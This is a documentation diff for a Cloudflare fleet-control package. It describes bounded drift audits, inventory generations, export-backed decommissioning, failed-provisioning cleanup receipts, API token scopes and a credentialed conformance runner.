+Pass that independently collected `FleetResourceInventory` to `auditFleetDrift()`; do not derive it from fleet records. The audit works in both directions and contains an individual inspection or watchdog error so one broken deployment does not hide the rest. It reports missing, duplicate, malformed, and orphan scripts, databases, routes, Durable Object namespaces, and R2 buckets. It also reports exact application-variable, secret-name, R2-binding, route, artifact, and schema drift. Lifecycle-aware expectations distinguish an unpublished candidate, a published deployment, a retained rollback release, and resources that should already be absent during decommissioning. A deployment under an active bounded cleanup is its own reconciliation authority: the audit emits no expectation-based, orphan, or record-level findings for it — including `incomplete-provisioning` — while its cleanup intent is active, and its declared resource identities never read as orphans. A retained terminal `decommissioned` record draws no `incomplete-provisioning` finding either: the phase is retained state rather than one that advances, so age past `staleAfterMs` is not stalled provisioning. A long-blocked cleanup stays visible through the record itself, in `phase: 'cleanup-advancing'` with a `blocked` step, never through drift findings. Secret-value drift remains opaque because provider inventory cannot return or hash the stored value.
 
 The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, and the optional background tick independently, including their last attempt and error. Plain, platform-authored Workers authenticate maintenance with the deployment's maintenance secret. An external release never receives that reusable secret. Fleet control instead signs a short-lived Ed25519 capability bound to the operation, tenant, environment, physical release script, specification digest, expiry, and nonce. The global dispatcher verifies that capability before calling `DISPATCH.get()`, and the trusted state Worker verifies it again against static deployment bindings. `ensure-maintenance` atomically consumes the nonce, while status remains replay-safe and read-only. The state Worker signs the exact result with its per-state HMAC secret, and fleet control ignores the candidate's unsigned body. The mutation request timeout must remain shorter than both the capability lifetime and the active mutation lease. The current verifier is intentionally immutable across an existing global dispatcher and deployment record: ordinary per-tenant key rotation is unsupported. Rotation requires a coordinated fleet maintenance migration or a future overlapping JWKS design.
 
+## Audit an account under a request budget
+
+`auditFleetDrift()` still returns the complete `readonly DriftFinding[]` array in one call, with the same finding vocabulary, order, provider interaction order, and return value. When a control-plane Worker cannot hold one full audit pass inside a single request, drive the same reconciliation logic in bounded steps with `advanceFleetAudit()`. Construct a `D1FleetOperationStore` (pass an `inventoryStore` so it can release audit pins and prune), call `start` with a caller-minted lowercase UUIDv4 operation id, the caller-supplied `records`, `staleAfterMs`, and an optional explicit `generation` (defaulting to the latest finalized R3 inventory generation), then re-enqueue only the pending token each call returns. Before it takes the operation lease, a start refuses a non-positive or non-integer explicit generation, more than 10,000 records, records whose canonical bytes total more than 16 MiB, a record whose tenant tag or environment is not a string in the deployment identifier grammar, a record above the 96 KiB staged-row byte bound, or a record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every such refusal has a fixed message and precedes every durable effect. That enumeration is not itself ordered, but the checks are: a start reaches them in one fixed sequence, so a given input always surfaces the same fixed message. The operation id, `staleAfterMs`, and an explicit `generation` are validated first, then the record count, then the array-wide null/non-object structure check. Each record is then canonicalized in array order, and the first record that fails is refused for its own structure bound, for the 96 KiB staged-row byte bound, or — once the running total crosses 16 MiB — for the aggregate byte bound. The array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause: a record that trips both is reported as a byte refusal when a plain re-serialization exceeds the per-record bound and as a structure refusal otherwise. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority.
+
+An audit start pins one finalized R3 inventory generation before staging anything and keeps that pin through completion, so the operation's findings stay interpretable against the exact generation they were computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or `abandonFleetAuditOperation()` releases the pin — finalizing an operation alone does not. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winner's persisted generation. The generation a start pins is the one its persisted run record carries, so a release — on failure, on abandonment, or through the store's prune pass — names the generation the pin holds. A custom `FleetOperationStore` that persists a generation other than the one the start resolved runs, and pins, the generation it persisted.
+
+One call performs at most one bounded stage chunk: every global stage processes up to `maxItemsPerCall` items (1 through 2,000, default 500), and the `per-record` stage processes at most one Fleet record: at most one resolver triple, at most one provider inspection, and at most one guarded maintenance re-arm. A stale token returns the current durable result with no resolver, generation, or provider work, while a future token, an unknown operation, and a foreign-kind token all fail closed.
+
+Two clocks feed the bounded path. The optional `auditClock` (default `Date.now`) is sampled at most once per start call, after every pre-lease refusal, after the operation probe, and — on the create branch, where the probe found nothing — after the generation to pin is resolved, which reads the inventory store only when the caller passed no explicit `generation`. Only a start that creates the operation persists the sample as `auditTimeMs`; adopted starts discard it. That persisted value drives every staleness comparison for the life of the operation, so a long-running operation does not report a record more stale than it was when the audit began. It also stamps the created run record's own `updatedAt`, the one durable write in the bounded path taken from `auditClock`; every later progress, failure, and finalize write stamps `updatedAt` from wall clock. The optional `authorityClock` (default `Date.now`) feeds only the maintenance re-arm's authority timestamp, so a first-time `authorizedAt` is stamped with call-time wall clock rather than the frozen audit time.
+
+Durable finding rows never carry raw diagnostic bytes. The bounded engine composes each of the six sanitized template families — the five `String(error)` sites (the three resolvers, the inspection, and the re-arm) and the segmented maintenance-duty error — from a fixed template alone; `auditFleetDrift()`'s exact byte-for-byte composition remains call-local and unpersisted. Any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails the non-throwing safety gate (length, control bytes, or a credential-shaped substring) persists a fixed withheld-detail fallback instead of aborting the operation.
+
+Every finding and fact passes the same shape, vocabulary, and byte-bound codec before write and after read. If store or generation corruption violates that structure, the advance throws `fleet operation state is malformed`, writes no operation row or progress from that call, and leaves the operation running. That scope is the operation store: a `per-record` advance can already have committed its guarded maintenance re-arm to the Fleet state store before the codec or envelope check runs. Call `abandonFleetAuditOperation()` to fail that operation and release its pin.
+
+Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted; 100 or more emitted rows fail. A record whose live inspection alone would emit 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — therefore fails the whole operation with the same reason; the operation never emits a partial finding set for one record.
+
+Read terminal audit findings with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})`. Its exported `FleetAuditFindingsPage` type narrows the cursor by `done`. Pass `nextAfterOrdinal` back as `afterOrdinal` until the store reports completion. Failed operations remain readable.
+
+The store raises the final-page signal and this reader checks it against `FleetAuditProgress.findingCount`: a final page accounting for fewer rows than that count throws `fleet operation state is malformed`, so a store reporting completion early cannot truncate the findings silently. A final page accounting for more is served, because an interrupted global stage chunk leaves finding rows staged above the count its commit never reached. A short page that is not final stays a valid page. The reader imposes no total-page bound. A custom store must satisfy `FleetOperationStore.readOperationRowsPage`; callers should bound their own traversal when diagnosing a store that keeps reporting more pages.
+
+`limit` reaches the store as written. `D1FleetOperationStore` serves a `limit` above 1,000 at 1,000, the one documented page ceiling, so a caller asking for a larger page reads 1,000 rows and follows the cursor for the rest instead of losing the read. A `limit` that is not an integer of at least 1 is refused. `FleetOperationStore.readOperationRowsPage` requires that ceiling of a custom store too.
+
+Use `abandonFleetAuditOperation()` to fail a stuck running operation and release its inventory pin. Repeating abandonment on a terminal operation releases a surviving pin without changing its state.
+
+Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read.
+
+The equivalence proof assumes that `start` accepts its inputs: at most 10,000 caller records whose canonical bytes total at most 16 MiB, each within the 96 KiB staged-row byte bound and the per-record structure bounds — plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key; every record satisfies the deployment identifier grammar, and any explicit generation is a positive safe integer. The bounded path differs from the drain in exactly four classes. First, every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic. Second, any unsafe finding detail, whether composed or passed through, becomes the fixed withheld-detail fallback. Third, concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth; the bounded path's typically older snapshot makes both outcomes more likely than in a drain at audit start. Fourth, `emission-bound-exceeded` (from either the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart: `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain, under identical frozen worlds and clocks. The four-class claim also assumes `backendFor`, `specFor`, and `maintenanceSecretFor` are functions of record *value*: the bounded path hands them canonical snapshots rebuilt from the staged rows, never the caller's own objects, so an identity- or prototype-keyed resolver diverges from the drain in a fifth way this list does not cover.
+
+## Inventory an account under a request budget
+
+`collectFleetInventory()` still returns one complete `FleetResourceInventory` in a single call, with the same provider encounter order, the same finding vocabulary and order, and the same result bytes. It now drains the bounded engine in memory, which introduces one documented limitation described at the end of this section. When a control-plane Worker cannot hold that whole enumeration inside one request, drive the same engine in bounded steps with `advanceFleetInventory()`. Construct the provider seam with `cloudflareFleetInventoryContext(client)` and a `D1FleetInventoryRunStore`, call `start` with an operation id and the same options `collectFleetInventory()` accepts (now exported as `CollectFleetInventoryOptions`), then re-enqueue only the pending token each call returns. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. One call performs at most one provider stage chunk, bounded by `maxProviderRequests` (an integer from 9 through 1,000) and `maxStagedRowsPerChunk` (1 through 2,000, default 500). A stale token returns the current durable result with no provider request, while a future token, an unknown operation, and a foreign active operation fail closed.
+
+The final call returns a `FleetInventoryGenerationRef`, not the inventory. Read the rows back with `readFleetInventoryGeneration(store, generation)`, which materializes the same `FleetResourceInventory` shape `auditFleetDrift()` expects. Only a finalized generation is readable: a staging, failed, or count-divergent generation is structurally unreadable. The latest finalized generation reads without a pin; any older generation must be pinned first with `pinGeneration()`, because `pruneInventoryGenerations()` deletes only finalized-or-failed, non-latest, unpinned generations.
+
+Direct `FleetInventoryLease.commitChunk()` callers must retain the run's account, generation and options, and supply unique row and fact keys. Retry an uncertain commit with the same intended record and payload bytes. Read persisted progress before composing a new transition; an equal revision alone does not establish that the intended transition committed. Conflicting immutable payloads refuse the batch instead of replacing earlier observations. Database errors propagate to the trusted caller.
+
+Retry the original continuation after an interrupted finalization. The coordinator repairs the matching finalized head before reading the generation. Direct failure callers can retry the same `failRun()` request to release an interrupted head; neither repair clears a newer operation. Pruning retains the active terminal generation so that repair can finish. Await dependent mutations made through one lease handle; independent calls can overlap. A pin that loses a race with reclamation refuses, while an admitted pin protects the generation from pruning. A partial prune remains retryable and cannot gain a new pin over missing data. Pinning can scan the generation in D1; account for that database work when sizing the control plane. Historical generations still require a pin when they are no longer latest.
+
+Two limitations are deliberate. First, a generation is a point-in-time-per-stage snapshot, not a globally consistent one: a resource that changes between stages — a script deleted after the script listing but before its detail read — is recorded exactly as the single-call drain surfaces it, through the same `incomplete-deployment` finding. Second, durable findings never echo transient provider text. The two sites that previously interpolated a provider error store the fixed details `registered script '<name>' could not be inspected` and `plain Worker '<name>' could not be inventoried`; the transient text stays call-local, which is why `collectFleetInventory()` can still compose today's exact bytes while the durable row cannot.
+
+One compatibility limitation follows from that shared engine, and it applies to `collectFleetInventory()` as well as to a bounded run. A stage chunk is bounded by `maxProviderRequests`, whose maximum is 1,000, and six stages carry no resumption cursor or ordinal: `registration-postprocess`, `custom-domains`, `zone-authority`, `route-claims`, `d1-databases`, and `do-namespaces`. Those six must finish inside one chunk, so exhausting the budget there is a refusal rather than partial progress. `collectFleetInventory()` supplies the maximum 1,000 to every chunk, which means an account whose single non-resumable stage needs more than 1,000 provider operations now refuses where the previous single-pass enumeration completed under the 10,000-item collection bound. In practice `route-claims` is the first to reach it: it re-reads the custom domains, the zone list, every zone's route pages, and one identity read per prefix-matching plain Worker, so roughly 1,000 prefix-matching plain Workers in one account is the threshold. An operator sees `fleet inventory stage 'route-claims' cannot complete one chunk within its provider request budget` (naming whichever stage saturated) instead of an inventory; nothing is written and no partial result is returned. The 9-through-1,000 budget is a deliberate bounded boundary, so there is no unbounded mode: split such an account across narrower `scriptNamePrefix` values.
+
+Host-routing KV key names are untrusted input in the enumeration. An over-length or credential-shaped key name refuses the run outright. A key name that is merely unprintable or base64-shaped does not: the run records a `malformed-script-registration` finding that names the key by its zero-based listing ordinal — `script inventory key at ordinal <n> has an unsafe name` — instead of echoing the bytes. The accepted trade-off is attribution: that finding is positionally attributable but does not carry the offending name, so resolving it means listing the KV namespace yourself.
+
 ## Decommission without losing the export
 
-`decommissionDeployment()` persists each destructive phase:
+Use `advanceDecommissionDeployment()` from a Queue-driven control-plane Worker for request-bounded normal decommissioning. Call it first with `start`, then re-enqueue only the pending token returned by each call. Fleet D1 owns the operation and scan progress. A Queue message carries a continuation claim, not authority.
+
+At-least-once delivery is safe. A stale token returns the current durable result without repeating provider work. Future tokens and tokens for another deployment or operation fail closed. A blocked result remains inert until you remove the reported attachment and submit exact `restart-blocked` with its current token.
+
+Each call performs at most one bounded scan chunk. Only an exact matching verify may consume that scan result immediately through one resource action under the same live lease. Evidence never becomes a reusable deletion certificate. A call without matching verify performs at most one lifecycle or resource action group.
+
+Queue-driven bounded decommissioning requires Workers Paid. Each of the two all-application-R2 read groups can reserve up to 708 external subrequests for the supported maximum of 118 application buckets. That exceeds the Free plan limit of 50 subrequests per request and remains below the Paid default of 10,000. These limits were checked on 2026-08-30 in the [Cloudflare Workers limits](https://developers.cloudflare.com/workers/platform/limits/).
+
+Before the first D1 scan or export, Fleet D1 persists one immutable receipt authority. The receipt identity combines that authority, the canonical lowercase D1 UUID, and the decommission operation UUID. Retries after receipt commit or Fleet write loss converge on the same artifact. An authority change or byte collision preserves the committed winner and fails closed.
+
+Custom bounded backends must expose both `databaseExportReceiptAuthority` and `exportDatabaseReceipt()`. The export method must return descriptor-safe plain data with the matching database ID, location, positive size, and lowercase SHA-256 digest. Fleet control accepts safe extra plain-data fields but strips them. It rejects prototype-bearing instances, accessors, proxies, and malformed required fields.
+
+The asynchronous one-call `decommissionDeployment()` compatibility path drains this bounded engine for every row with a normal decommission shell. It also selects bounded execution for an early shell-less row with the scan capability and at least one receipt member, so a malformed partial pair fails closed. The legacy asynchronous one-call path remains for shell-less late D1 or terminal rows and for other shell-less rows that lack the complete scan-plus-receipt capability.
+
+Normal decommission persists these destructive phases:
 
 1. Require every fleet-owned application R2 bucket to be empty before any traffic mutation
 2. Remove traffic, prove zero ingress, and persist `traffic-removed`
@@ -205,6 +522,8 @@ The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge,
 9. Persist its durable location, SHA-256 digest, and byte count
 10. Persist database-deletion intent, delete the database, confirm absence, and persist `decommissioned`
 
+That terminal row is retained rather than deleted: it keeps the complete record — the export location, SHA-256 digest, and byte count, and the application resource entries at `deleted` — which `forceDecommissionDeployment()` clears and a re-provision of the same slug replaces, as described under [Provision a deployment](#provision-a-deployment). `decommissionDeployment()` replays that export for a late retry while the terminal row is the stored row; once a re-provision has replaced it and the replacement is `publishing` or `ready`, the same call is a new decommission of the replacement, while a replacement still mid-provision refuses by phase. Read the export from its retained location before reprovisioning the name, or carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity.
+
 Zero ingress covers every surface owned by the workload. Plain Workers must have no custom domain or zone route, and fleet control explicitly disables and rechecks workers.dev and preview URLs. Workers for Platforms deployments must have no `HOSTS` record. A backend switch checks `HOSTS` plus every ordinary bridge ingress surface. If ingress drift or a late R2 write appears after removal, fleet control preserves the traffic-removed state and every script, credential, platform resource, and bucket. It does not restore traffic. Remove the unexpected ingress or evacuate the bucket directly, then retry.
 
 An attached or nonempty application R2 bucket blocks deletion. Fleet control never purges application objects automatically because no generic export format can preserve application semantics. The backend requires positive persisted ownership, exact provider identity, complete paginated emptiness inspection, and positive absence after deletion.
@@ -213,7 +532,7 @@ An export failure, empty export, size mismatch, or missing integrity metadata pr
 
 ## Force decommission when retained inputs are lost
 
-`forceDecommissionDeployment()` removes an ordinary deployment when the host can no longer reconstruct its `DeploymentSpec`. Call it with the persisted tenant and environment key:
+The named root export `forceDecommissionDeployment()` removes an ordinary deployment when the trusted host cannot reconstruct its `DeploymentSpec`. It is separate from the curated Worker factory. Call the existing API with the persisted tenant and environment key:
 
 ```typescript
 await forceDecommissionDeployment({
@@ -249,6 +568,16 @@ Every backend operation that can issue a non-GET Cloudflare request receives the
 
 Cloudflare documents a 1,200-request-per-five-minute client API limit per user or account token, cumulative across callers. `CloudflareProvisioningClient` therefore requires a `CloudflareApiRateCoordinator`. Production uses `D1CloudflareApiRateCoordinator` over one shared direct Workers `D1Database` binding and an explicit nonsecret `quotaScope` identifying that provider quota. The coordinator calls only the binding's `prepare()` and `batch()` methods. Its runtime guard rejects objects without that interface, but JavaScript cannot prove whether a structurally compatible object is a direct binding or a remote facade. The trusted host must enforce the direct-binding requirement because remote coordination queries would consume the same Client API quota being protected. Independently constructed coordinators with the same binding and scope atomically share a rolling cap of 1,100 requests per five minutes across replicas. A non-Worker control plane must use a separately deployed coordinator service rather than a remote database adapter. Every SDK request, retry, pagination page, authenticated manual request, and signed export download reserves capacity before the network request. Coordinator failure fails closed. Ambiguous transport failures retain their reservation. Never derive the scope from, persist, or log the raw token. User-scoped credentials used across accounts must deliberately reuse one scope. The remaining 100 requests are reserve for dashboard and other out-of-band traffic; fleet control cannot count or guarantee room for that traffic.
 
+## Clean up failed provisioning with durable receipts
+
+`cleanupDeploymentArtifacts()` removes an owned prepublication deployment without a database export. It drains the same bounded engine that `advanceCleanupDeployment()` exposes for Queue-driven control planes: call `start` first, then re-enqueue only the pending token each call returns; a blocked result stays inert until an exact `restart-blocked` with its current token. Fleet D1 owns the operation, its bounded attachment-scan progress, and the terminal receipt; a token is a continuation claim, not authority. One call performs at most one bounded scan chunk or one action group. Stale tokens return the current durable result, while future tokens, tokens for another deployment, and decommission tokens fail closed. An active cleanup intent of either authority resumes through `start`; a partial drain leaves the durable intent for retry.
+
+No-export database deletion is admissible only when the deployment provably never authorized a candidate invocation. Every new record carries a durable invocation-authority carrier from its first persisted write, and every candidate-invoking dispatch — an external candidate upload, the first maintenance request, a version override, or a promotion — commits an authorization timestamp durably before the provider call. A rejected or unacknowledged authority write aborts before dispatch, and a lost provider response counts as possible execution. Trusted platform-authored deployments therefore keep no-export cleanup through `worker-deployed`. Rows with an authorized carrier, Workers for Platforms and external-artifact candidates, rows carrying external staging evidence, and legacy carrier-less rows at upload-ambiguous or later phases all refuse with a fixed message that names export-backed decommissioning as the remedy. Legacy carrier-less rows at phases that could not yet have dispatched an upload stay eligible, and the eligibility re-check runs again immediately before the database-deletion group.
+
+A completed cleanup atomically persists an immutable operation-keyed terminal receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. The receipt records the admitted phase, the authority (`manual-cleanup` or `provisioning-rollback`), the disposition (`reservation-cleared` or `prepublication-owned-no-export`), and provider-text-free evidence. Receipts survive reprovisioning of the same key and force decommission, so a delayed token converges on its receipt instead of touching a new row. Read one with `readCleanupReceipt()`; prune explicitly with `pruneCleanupReceipts({ completedBeforeMs, limit })`, which uses the database-assigned completion time, a stable order, and an integer limit from 1 through 1,000. Pruning invalidates delayed tokens for exactly the pruned operations.
+
+A failed provision whose rollback admits the engine is durably `cleanup-advancing`: `provisionDeployment()` refuses to resume that row and directs to cleanup; complete the cleanup to its receipt, then reprovision fresh. `provisionDeployment({ failureCleanup: 'bounded' })` performs at most one bounded advance during rollback and surfaces the resumable outcome through `ProvisioningError.cleanup`. `forceDecommissionDeployment()` refuses during an active bounded cleanup — after remediation, `restart-blocked` is the only resolution for a blocked operation. On capable stores, force releases the deployment's current ownership claims with its terminal row delete; a legacy lease implementation without `deleteReleasingClaims` keeps tombstone claims through the plain row delete. Force remains receipt-free and evidence-free, and it does not delete the ordinary Worker script or application R2 buckets, so confirm the residual physical resources are removed before reprovisioning the same names. Three artifacts fail closed on what remains rather than adopting it: provisioning proves the reserved database name free before it claims that name, refuses to claim a pre-existing R2 bucket for a reserved application resource, and, through the plain-Worker backend, refuses the surviving-script case stated below. A Durable Object namespace a force leaves behind has no such gate on the force-then-provision path. A terminal row that retains an application resource refuses re-provision by that name and directs to `forceDecommissionDeployment()`. A re-provision over a retired terminal row proves the reserved database name free before it claims the row, so that refusal leaves the record and its export triple intact. The plain-Worker backend refuses to upload over a surviving script whose deployed versions bind another tenant, environment, or database.
+
 ## Deploy the Workers for Platforms control plane
 
 `provisionPlatformPlane()` requires a `PlatformPlaneStateStore`. `D1FleetStateStore` implements it with permanent ownership claims for the account-scoped dispatch namespace, three ordinary Worker names, host-routing KV namespace, audit queue, and optional dead-letter queue. It also holds a renewable database-time lease over that exact resource set. A crashed owner can resume after lease expiry, but another platform-plane identity cannot claim any overlapping resource. The lease fences every mutation, covers the initial ownership inspection, and remains held through a final whole-group reinspection.
@@ -303,7 +632,7 @@ The runner starts the FlowSafe run and observes its pending WebSocket update on
 Set these environment variables:
 
 - `CLOUDFLARE_ACCOUNT_ID`
-- `CLOUDFLARE_API_TOKEN` with API Tokens Read, Zone Read, Workers Routes Read, and Workers Routes Write for every zone in the account
+- `CLOUDFLARE_API_TOKEN` with API Tokens Read, Zone Read, Workers Routes Read, and Workers Routes Write for every zone in the account, plus account-scoped Workers Scripts Edit and D1 Edit, and Workers R2 Storage Edit when application R2 is enabled. [Security threat model](security-threat-model.md) lists the route families the client calls with this token.
 - `FLEET_CONFORMANCE_CONFIG`
 - `FLEET_MAINTENANCE_CAPABILITY_PRIVATE_JWK` containing the fleet-private Ed25519 signing JWK
 - `FLEET_STATE_EGRESS_ROOT_SECRET` containing the shared state-egress derivation secret
@@ -325,6 +654,69 @@ After both Workers for Platforms deployments decommission, the runner derives th
 
 A backend wrapper records a valid, nonempty `wrangler versions list --json` version-ID set immediately before control-secret revocation, after revocation, and before Worker deletion. Secret deletion may add Worker versions, and Wrangler's ten-entry rolling window may remove earlier IDs from later observations. Decommission must still reach `decommissioned`, and the gate re-reads the exported database's immutable ID through Cloudflare to prove absence. Fleet Control uses exact persisted artifact-ID membership as the pre-mutation gate in traffic removal. Before secret mutation and Worker deletion, it separately resolves the persisted artifact with `wrangler versions view`, which is not limited to the ten entries returned by `versions list`, and verifies that every deployed version has the persisted tenant, environment, database, specification, schema, and ingress identity. This live check accepts provider-created version IDs. Deletion also validates ingress and the resource footprint, then verifies full Worker absence. If the proof fails after control-secret deletion begins, the runner validates the same live teardown identity before removing that exact uniquely suffixed Worker and resuming normal database and state cleanup.
 
+## Run the direct-API credentialed proof
+
+Use the repository's direct-API lane to verify ordinary Worker provisioning, migration interruption and resumption, execution-fence proofs, and teardown. The offline acceptance runs the real runtime through a fixture provider and local workerd, starting from confirmed bootstrap receipts. It exercises bootstrap revalidation and teardown; resource creation and live provider behavior require the credentialed lane. No live acceptance is established until you supply credentials and run it against an account: offline results establish no live resource creation, no live account cleanup, and no recovery authorization.
+
+The scenario force-decommissions role `a`'s terminal row and records that the call issues no provider request. The inventory proof compares the custom-domain hostnames routed to each tenant script before and after migration.
+
+Start with the [direct configuration shape](../packages/fleet-control/scripts/direct-credentialed-conformance.example.json). Supply the reference and tenant artifacts and their digests, an owned hostname, a disposable resource prefix, explicit request and invocation limits, and `disposableAccount`, the boolean that decides whether the residual scan records account-wide counts beside the prefix-scoped ones. Keep credentials outside the configuration. For the deployment protocol, follow [Roll out an artifact under the execution fence](#roll-out-an-artifact-under-the-execution-fence).
+
+Run this lane on Linux from a repository checkout. It uses a filesystem lock and stores the journal and evidence under `.direct-conformance/<resourcePrefix>/` beside the configuration file. Preserve that directory and the configuration bytes when resuming.
+
+Set these environment variables:
+
+| Variable | Required for | Value |
+| --- | --- | --- |
+| `FLEET_DIRECT_CONFORMANCE_CONFIG` | Preflight, run, resume | Path to the configuration |
+| `CLOUDFLARE_ACCOUNT_ID` | Run, resume | Account identifier |
+| `CLOUDFLARE_API_TOKEN` | Run, resume | Provider token; the residual scan lists the account's queues, so it must permit that read |
+| `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET` | Run, resume | Reference-worker invocation secret |
+
+Values must be nonempty, without surrounding whitespace or control characters. The runner does not load `.env` files or discover a Wrangler login. Help needs no configuration or credentials.
+
+Validate the local configuration and artifacts before supplying credentials. The default mode is `--preflight`; it constructs no SDK client, takes no run lock, writes no evidence, and needs no built package output:
+
+```bash
+node packages/fleet-control/scripts/direct-credentialed-conformance.mjs --preflight
+```
+
+The workspace script builds the package first, which is what the live modes below need:
+
+```bash
+pnpm fleet-control:credentialed:direct -- --preflight
+```
+
+Start a new run with `--run`. When it exits with `3`, run `--resume` in a fresh process using the same configuration and credentials:
+
+```bash
+pnpm fleet-control:credentialed:direct -- --run
+pnpm fleet-control:credentialed:direct -- --resume
+```
+
+Modes are mutually exclusive. Use `--help` for usage. Live modes require built package output and reject an invocation budget below the scenario floor before acquiring a lock or contacting the provider. Resuming an in-flight scenario spends a bootstrap control read as well as scenario invocations; phase ceilings and remaining-phase reserves also constrain progress.
+
+| Exit | Meaning | Action |
+| --- | --- | --- |
+| `0` | Cleaned, or successful preflight/help | Inspect the summary and, for a live run, evidence |
+| `1` | Failed, outcome unknown, or run-state refusal | Inspect the refusal and retained identities |
+| `2` | Invalid usage, environment, configuration, or live-mode admission | Correct the named input, or the credential itself where the refusal is a collision |
+| `3` | Restart required | Resume in a fresh process |
+| `4` | Resources retained | Use the recorded facts for recovery approval |
+| `5` | The evidence file was not published, or a required summary line was withheld because it would contain a credential — before or after `evidence.json` was written | Recover from the evidence artifact; the evidence writer below says which branch this run is in |
+
+A run that resolves more than one code reports the highest: evidence failure, then failure, then the code the run itself reached. A late internal error therefore reports `1` for a run whose own outcome was `3` or `4`. A summary too large to print is a separate case: its members are replaced by a fixed `internal-error` line, or by the `evidence-failed` pair when the run had already resolved `5`, and the exit code stays the one the run resolved — so a `--preflight` whose summary overflows still exits `0` with a fixed line in place of the summary.
+
+In `--run` and `--resume` every line the CLI writes is scanned before it is written — the usage line and the internal-error diagnostic included — and is withheld rather than printed when it would carry `CLOUDFLARE_API_TOKEN` or `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET`. The scan covers each line joined to the lines already written, in both orders, because a reader interleaving the two descriptors can see either. A withheld stdout summary is itself exit `5`; a withheld stderr copy or fixed diagnostic leaves the resolved code alone. Live-mode admission refuses a credential that collides with a line the CLI prints or with a key `evidence.json` carries, digits alone included because the artifact's arrays are keyed by index — a live run would otherwise reach the end and withhold its output. Such a refusal prints nothing when its own diagnostic would contain the refused credential, so re-check each variable in the environment table above. The other modes print without a guard: they read no credential.
+
